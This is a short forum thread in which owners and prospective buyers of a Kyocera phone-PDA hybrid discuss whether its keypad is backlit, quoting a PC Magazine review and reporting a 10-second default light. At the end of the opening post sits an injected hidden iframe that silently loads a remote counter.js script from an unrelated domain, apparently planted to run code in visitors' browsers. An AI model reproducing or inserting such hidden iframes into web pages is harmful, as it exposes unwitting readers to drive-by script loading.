how do you feel about a non-lighted keypad?

both users and prospective buyers

How important do you think this is on this phone?

Kyocera wanted to go in the cell phone direction as much as possible with this hybrid. Why on earth would they take out this feature (i'm guessing battery life)

I take it the screen light is enough for you to see the screen, but I keypad light seems like an option that one would have to actually remove rather than put in.

I guess for whatever reason, I wanted to know what you all think of it.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

so this article at PC Magazine was wrong?

or here http://www.pcmag.com/article2/0,4149,720007,00.asp

"Making calls is almost the same as with any other cell phone. The audio is clear, though the speakerphone has a tinny sound. The touch screen is bright and exceptionally legible, but unfortunately, the keypad does not illuminate, so making calls in the dark is not always easy. Adding to and navigating through the address book is fast and simple. The PDA address book can accommodate many thousands of entries. You can program 99 phone numbers for speed dialing and an additional 30 for voice recognition."




they must have had a demo or something


that's good

It isn't the brightest keypad light, but it is there. The default is for the light to remain on for 10 seconds.
